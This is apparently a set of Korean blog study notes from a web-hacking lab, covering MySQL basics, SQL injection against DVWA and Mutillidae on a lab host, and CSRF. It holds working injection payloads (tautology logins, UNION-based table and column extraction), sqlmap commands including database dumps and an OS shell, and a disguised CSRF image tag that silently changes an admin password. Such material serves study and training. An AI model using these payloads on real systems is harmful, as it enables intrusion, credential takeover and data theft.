where 값을 참으로 유도하는 것이 기본 방법이다.



and 가 or 보다 우선순위가 높다.






칼리에서 meta sql 시작.


mysqlu -u root -h meta


use dvwa


create table tusers (select * from users);



insert into tusers (user_id) values(6);

insert into tusers (user,first_name) values('kevin','kim');


insert into tusers select * from tusers;  //tusers의 값을 전부 삽입.


update tusers set first_name='kevin' where first_name is null; //first_name이 null 이면 kevin으로 변경

update tusers set last_name='ryu' where last_name is null; 

//last_name이 null 이면 ryu로 변경

update tusers set last_name='ryu' where last_name='Me';

//last_name이 Me 면 ryu로 변경


delete from tusers where user_id=0;  


delete from tusers; 

//대량 데이터를 삭제할 때 쓰면 시간이 오래걸림.

//row 하나하나 보며 삭제하므로 오래걸림.


truncate tusers; 

 //대량 데이터를 삭제할 때에도 빠르다.

 // 구조만 보고 삭제하기에 빠르다.


drop table tusers; //테이블 삭제



[union]

- 1개 이상의 테이블을 가져올 때 사용.

- 테이블을 합칠 때 사용.

- 컬럼 수가 같아야한다.

- 데이터 타입이 같아야한다.

- 주로 컬럼 개수를 알아낼 때 사용.

- union all //중복되는 것도 출력


select user,first_name,last_name from tusers

union  

select first_name,user,last_name from users;



[개수 알아낼 때 사용]


- 오류가 나지 않을 때 까지 null을 통해 유추.


select * from tusers

union  

select null,null,null,null,null,null ; 

//굳이 null이아니라 1,2,3,4,5,6 이런식도 가능





select count(first_name) from tusers;         //first_name의 총 개수

select count(*) from tusers;         //전체 행개수






sql injection 에선 select만 사용한다.




use information_schema;


desc information_schema.tables;

select table_name,table_schema

     from information_schema.tables

     where table_schema='dvwa';


select table_name,table_schema,column_name

     from information_schema.columns

     where table_schema='dvwa';


[JOIN]


연결시켜주는 것.


select t.table_name,t.table_schema,c.column_name

from information_schema.tables t JOIN

information_schema.columns c

where t.table_name =c.table_name;




CREATE database websec;  //websec db 생성

use websec;         //db 접속


//websec.employees 테이블 생성

CREATE TABLE websec.employees    


empid mediumint not null auto_increment primary key, 

empFname varchar(40) not null, 

empLname varchar(20) not null, 

empAge int not null);


//데이터 삽입

INSERT INTO websec.employees

VALUES(EMPID,'il','KIM','10');


INSERT INTO websec.employees

VALUES(EMPID,'ii','KIM','11');


INSERT INTO websec.employees

VALUES(EMPID,'sam','KIM','12');


INSERT INTO websec.employees

VALUES(EMPID,'sa','KIM','13');


INSERT INTO websec.employees

VALUES(EMPID,'oh','KIM','14');


INSERT INTO websec.employees

VALUES(EMPID,'yook','KIM','15');


INSERT INTO websec.employees

VALUES(EMPID,'chil','KIM','16');


INSERT INTO websec.employees

VALUES(EMPID,'pal','KIM','17');


INSERT INTO websec.employees

VALUES(EMPID,'gu','KIM','18');


INSERT INTO websec.employees

VALUES(EMPID,'ship','KIM','19');


INSERT INTO websec.employees

VALUES(EMPID,'il','Lee','10');


INSERT INTO websec.employees

VALUES(EMPID,'ii','Lee','11');


INSERT INTO websec.employees

VALUES(EMPID,'sam','Lee','12');


INSERT INTO websec.employees

VALUES(EMPID,'sa','Lee','13');


INSERT INTO websec.employees

VALUES(EMPID,'oh','Lee','14');


INSERT INTO websec.employees

VALUES(EMPID,'yook','Lee','15');


INSERT INTO websec.employees

VALUES(EMPID,'chil','Lee','16');


INSERT INTO websec.employees

VALUES(EMPID,'pal','Lee','17');


INSERT INTO websec.employees

VALUES(EMPID,'gu','Lee','18');


INSERT INTO websec.employees

VALUES(EMPID,'ship','Lee','19');


INSERT INTO websec.employees

VALUES(EMPID,'il','Gu','10');


INSERT INTO websec.employees

VALUES(EMPID,'ii','Gu','11');


INSERT INTO websec.employees

VALUES(EMPID,'sam','Gu','12');


INSERT INTO websec.employees

VALUES(EMPID,'sa','Gu','13');


INSERT INTO websec.employees

VALUES(EMPID,'oh','Gu','14');


INSERT INTO websec.employees

VALUES(EMPID,'yook','Gu','15');


INSERT INTO websec.employees

VALUES(EMPID,'chil','Gu','16');


INSERT INTO websec.employees

VALUES(EMPID,'pal','Gu','17');


INSERT INTO websec.employees

VALUES(EMPID,'gu','Gu','18');


INSERT INTO websec.employees

VALUES(EMPID,'ship','Gu','19');



select sum(empAge)

from websec.employees;




select avg(empAge)

from websec.employees;




select max(empAge)

from websec.employees;


select min(empAge)

from websec.employees;


select empID,empFname,empLname

from websec.employees

where empID=1;





[sql injection]


- 메서드에 매개값을 이용하여 재구성 후 쿼리.

- 비정상적인 쿼리를 개발해서 dbms로 쿼리.

- 인증,데이터 탈취,원격명령 실행

- 인증 : 아이디,암호를 입력받은 페이지를 대상으로 공격

- 논리적인 연산 오류를 이용

- TRUE OR FLASE 즉 TRUE 조건을 만들어 인증을 통과하게 만듦.

    



http://meta/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#

//url이 위와같이 id=1,2,3 이런식으로 나타내면 db와 직접적으로 연동이 된다는 것 즉 , sql injection을 쓸 수 있는 url이라고 판단 가능.



select * from users where user=' 'AND password='A';
select * from users where user='1'OR'1'='1  

이러한 입력 공간에는 ' ' 가 생략되어 있다. 따라서



1' or '1' ='1       
//이런식으로 앞 뒤의 ' ' 을 제외하고 입력을 해주게 되면

//계정 정보가 전부 보이게 된다.



패스워드에 1' or '1' ='1   입력.



//로그인이 성공되었다.


select * from users where user='1'OR'1'='1' AND password='1'OR '1'='1'; 
이 구문으로 쿼리가 등록되므로 조건이 true가 되어 로그인이 된다.


 
[meta/mutillidae 을 통해 실습]


1. burp start burp


// proxy에서 옵션 부분에서 아래와 같이 체크.


2. id : admin pw :admin이라고 로그인.

username=admin&password=admin&login-php-submit-button=Login

username과 password를 쓴다는 것을 유추.


3. id 에 '만 입력 //일부로 오류 출력



select * from accounts where username=''' AND password='' /

/multillidae의 쿼리문을 알게됨.


select * from accounts where username='1' OR '1'='1' AND password='1' OR '1'='1' //이런식으로 구문을 완성시킨다.

4. id와 pw에 1' OR '1'='1 을 입력 하구 인터셉트

html문으로 변환되어 전송됨.


%27 -> '
%3D -> =


해석 하면 아래와 같이 나옴.

username=1'+OR+'1'%='1&password=1'+OR+'1'='1&login-php-submit-button=Login


쿼리문이 참이 되므로 로그인이 됨.





일부러 로그인 에러를 내고  url 출력.


http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details



http://meta/mutillidae/index.php?page=user-info.php&username=admin%23&password=password&user-info-php-submit-button=View+Account+Details


#을 추가해줌으로써 뒤에 문이 전부 주석처리됨.

#을 html 코드로 추가. %23


잘되지 않으면 order by을 추가

http://meta/mutillidae/index.php?page=user-info.php&username=admin' order by 1%23&password=password&user-info-php-submit-button=View+Account+Details


//admin에 대한 정보가 출력된다.



[컬럼의 개수 확인]


http://meta/mutillidae/index.php?page=user-info.php&username=admin' order by 100%23&password=password&user-info-php-submit-button=View+Account+Details



http://meta/mutillidae/index.php?page=user-info.php&username=admin' order by 50%23&password=password&user-info-php-submit-button=View+Account+Details



http://meta/mutillidae/index.php?page=user-info.php&username=admin' order by 5%23&password=password&user-info-php-submit-button=View+Account+Details



이런식으로 order by을 통해 에러가 나지 않을 때 까지 값을 넣어서 컬럼의 개수를 확인할 수 있다.  개수는 5개.


[union을 통해 다양한 정보 수집]


http://meta/mutillidae/index.php?page=user-info.php&username=admin' union select 1,database(),user(),version(),5%23&password=password&user-info-php-submit-button=View+Account+Details

union을 통해 databases의 이름을 알아냈다.




[mysql dbms의 테이블 정보 추출] 

http://meta/mutillidae/index.php?page=user-info.php&username=admin' union select 1,table_name,null,null,5 from information_schema.tables%23&password=password&user-info-php-submit-button=View+Account+Details



[owasp10 데이타베이스의 테이블 정보 추출]


http://meta/mutillidae/index.php?page=user-info.php&username=admin' union select 1,table_name,null,null,5 from information_schema.tables where table_schema='owasp10'%23&password=password&user-info-php-submit-button=View+Account+Details




[accounts테이블의 컬럼 정보 추출]

http://meta/mutillidae/index.php?page=user-info.php&username=admin' union select 1,column_name,null,null,5 from information_schema.columns where table_name='accounts'%23&password=password&user-info-php-submit-button=View+Account+Details






[sqlmap]


sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details"  



sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details" --current-user  



sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details" --current-db




sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details" --tables -D owasp10  

sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details" --columns -T accounts -D owasp10  


sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details" -T accounts -D owasp10 --dump  


sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details" --os-shell  


sqlmap -u "http://meta/mutillidae/index.php?page=user-info.php&username=admin&password=aaa&user-info-php-submit-button=View+Account+Details" --sql-shell    //sql shell을 불러옴





'Web Security' 카테고리의 다른 글

dvwa 모의 해킹  (0) 2019.04.08
SQL  (4) 2019.04.04
CSRF(Cross Site Request Forgery)  (0) 2019.04.02
brute force 공격  (0) 2019.04.02
crunch [사전파일생성]  (0) 2019.04.02



mysql -u root -h meta //meta sql에 접속.

mysql -p mysql //접속


create database korea;  //테이블 생성


use korea;   //korea DB로 접속


create table stdtbl(          //stdtbl 테이블 생성

    -> stdid int not null primary key,

    -> name char(15) not null,

    -> age int(10) not null,

    -> height varchar(10),

    -> sex char(5),

    -> addr varchar(25));


desc stdtbl;     //내림차순으로 테이블 확인



create table haktbl (
    -> num int not null auto_increment primary key,
    -> haknum int not null,
    -> name char(15),
    -> class1 char(15),
    -> group1 varchar(25),
    -> etc char(15));



alter table stdtbl rename stdtbl7;  //테이블명 변경


[속성 변경]
modify
alter table stdtbl modify name char(15);  



 alter table stdtbl modify name varchar(15) not null; 


alter table stdtbl change name name7 char(15) not null; 
//테이블명과 속성 값 까지 변경

alter table stdtbl drop primary key; //기본키삭제


alter table stdtbl modify stdid int not null  primary key; 
//기본키 생성



alter table stdtbl drop addr;  //addr 필드 삭제


alter table stdtbl add addr varchar(25);


alter table stdtbl add weight int not null after name7;
//name7 다음에 weight필드 추가


alter table stdtbl add num int first; //맨 처음에 num 필드 추가


alter table stdtbl modify num int not null;  //not null로 변경



[테이블 복사]
create table stdtbl2(select * from stdtbl);  //stdtbl 테이블 복사




[데이터 삽입]
insert into stdtbl values(001,001,'pyw',60,21,'183','M','Seoul');


select * from stdtbl;



insert into haktbl values(null,001,'pyw','computer','blackcat','hi'); 


//auto_increment을 준 필드에 null을 입력하면 자동으로 1씩 증가한다.




[데이터 업데이트]




update haktbl  set haknum=3 where name7='pjs';  
//pjs의 haknum을 3으로 변경



[구매 테이블]

1. 테이블 생성


 create table buytbl(          

    -> num int not null auto_increment primary key,

    -> userId int not null,

    -> name char(15) not null,

    -> sex char(10) not null,

    -> product varchar(20) not null,

    -> price int not null,

    -> number1 int not null,

    -> addr varchar(25));


2. flush privileges;  //즉시적용

3. desc buytbl;      //테이블 생성 확인


4. 데이터 삽입
insert into buytbl values(null,001,'pyw','M','coumputer',1000000,2,'Seoul');

5. flush privileges;  //즉시적용


6. 분류 번호 추가 

alter table buytbl add group1 char(15) after number1;


7. 그룹1 값을 업데이트로 넣어주기.

update buytbl set group1='elec' where num=1;




8. 계속 데이터 삽입





[필드명 별칭부여]

필드명 as "별칭"

select name as "아이디",product as "상품명",price as "가격" from buytbl;





[order by]  

필드명 desc  //내림차순 

필드명 asc //오름차순

limit 3 // order by로 조건 건 검색 중 3개만 검색


select * from buytbl order by group1 asc limit 3;

 //group1을 오름차순으로 정렬하여 3개만 검색


select * from buytbl where price >= 60000 and price <= 100000;

//60000<=price <=100000원 사이의 값 검색


select * from buytbl where price >= 6000 and price <=50000 order by num desc;
//6000~50000원 사이의 값을 num을 기준으로 내림차순으로 출력


select * from buytbl where price between 7000 and 900000;

//7천원과 900000원 사이 값 출력


[최댓값과 최소값]

 select name,max(price),min(price) from buytbl;  //제일 비싼 값과 제일 싼값 



[비슷한 글자 검색]

select * from buytbl where name like 'p__';  
//p로시작하구 뒤에 2글자



select * from buytbl where name like 'p%';
//p로 시작하는 글자

[sum 집계함수]

select * from buytbl;




select userid,group1, sum(price) from buytbl group by group1 order by sum(price) asc;
//group1의 속하는 price을 합친 값을 검색



select userid,group1, sum(price*number1) from buytbl group by group1 order by sum(price) asc;

//group1의 속하는 price*number1 값을 검색



elect userid,group1, sum(price*number1) from buytbl group by group1 with rollup;

//합계 표시 rollup





[union]

- 1개 이상의 테이블을 가져올 때 사용.

- 테이블을 합칠 때 사용.

- 컬럼 수가 같아야한다.

- 데이터 타입이 같아야한다.

- 주로 컬럼 개수를 알아낼 때 사용.

- union all //중복되는 것도 출력



select user,first_name,last_name from tusers

union  

select first_name,user,last_name from users;



[개수 알아낼 때 사용]


- 오류가 나지 않을 때 까지 null을 통해 유추.


select * from tusers

union  

select null,null,null,null,null,null ; 

//굳이 null이아니라 1,2,3,4,5,6 이런식도 가능





[ 개수 출력]


select count(first_name) from tusers;         //first_name의 총 개수

select count(*) from tusers;         //전체 행의 개수







[mysql 접근통제]

vi /etc/my.cnf            //mysql 환경설정파일


bind-address=192.168.232.210 //192.168.232.210 만 허용






[mysqlshow]

mysqlshow --host=192.168.232.131  //db에 접속하지 않고 db정보를 볼 수 도 있다.

mysqlshow --host=192.168.232.131 dvwa 

mysqlshow --host=192.168.232.131 --count dvwa 










'Web Security' 카테고리의 다른 글

dvwa 모의 해킹  (0) 2019.04.08
sql injection  (0) 2019.04.04
CSRF(Cross Site Request Forgery)  (0) 2019.04.02
brute force 공격  (0) 2019.04.02
crunch [사전파일생성]  (0) 2019.04.02

CSRF(Cross Site Request Forgery)

  • 사이트 사이의 요청 위조
  • 사용자가 자기도 모르는 사이에 공격자에 이용당하는 것
  • 사용자의 의지와 상관 없이 공격자가 의도한 대로 행위(패스워드 수정,삭제)하도록 만드는 것
  • XSS stored와 비슷
  • 옥션이 이공격당함.
  • 메일에 스크립트를 넣는 공격 방식도 있음

 

 

 

 

[form 값을 통해 패스워드 변경]

 

 

1. password의 form값을  leafpad를 통해 저장.

소스창 열기.
form부분에서 Edit as HTML 선택
form문구를 복사해서 leafpad에 저장.

 

 

2. 가져온 form 에서 action값을 수정.

http://meta/dvwa/vulnerabilities/csrf 로 수정.

3. html파일을 클릭하여 333333으로 비밀번호 체인지.

변경이 됨.

 

 

[스크립트 수정으로 패스워드 변경]

1. 아까 가져온 form에서 안에 내용 수정   

확인을 누르지않아도 자동으로 비밀번호가 "444444"으로 변경되게함 .


   2. 수정한 html문서를 실행시키면 비밀번호가 자동으로 변경이됨.

    

444444로 자동으로 변경됨.



    

 

[게시글을 통해 패스워드 변경]

 

 

1. 아래의 내용을 게시판에 업로드.

//adminpass로 비번을 변경시키는 스크립트.

도와달란말이다.   //일반 게시글인척 위장하기위해 평문 작성.

<img width=0 heigh=0 src="http://meta/dvwa/vulnerabilities/csrf/?password_new=adminpass&password_conf=adminpass&Change=Change#"></img>

 

게시글을 읽는 즉시, 어드민의 비밀번호가 adminpass로 변경이 된다.
    

    
    

    
    

    
    

 

    
    

    
    

    
    

 

    


'Web Security' 카테고리의 다른 글

sql injection  (0) 2019.04.04
SQL  (4) 2019.04.04
brute force 공격  (0) 2019.04.02
crunch [사전파일생성]  (0) 2019.04.02
XSS(Cross Site Scripting) ,Session hijacking(BeEF)  (0) 2019.03.29

+ Recent posts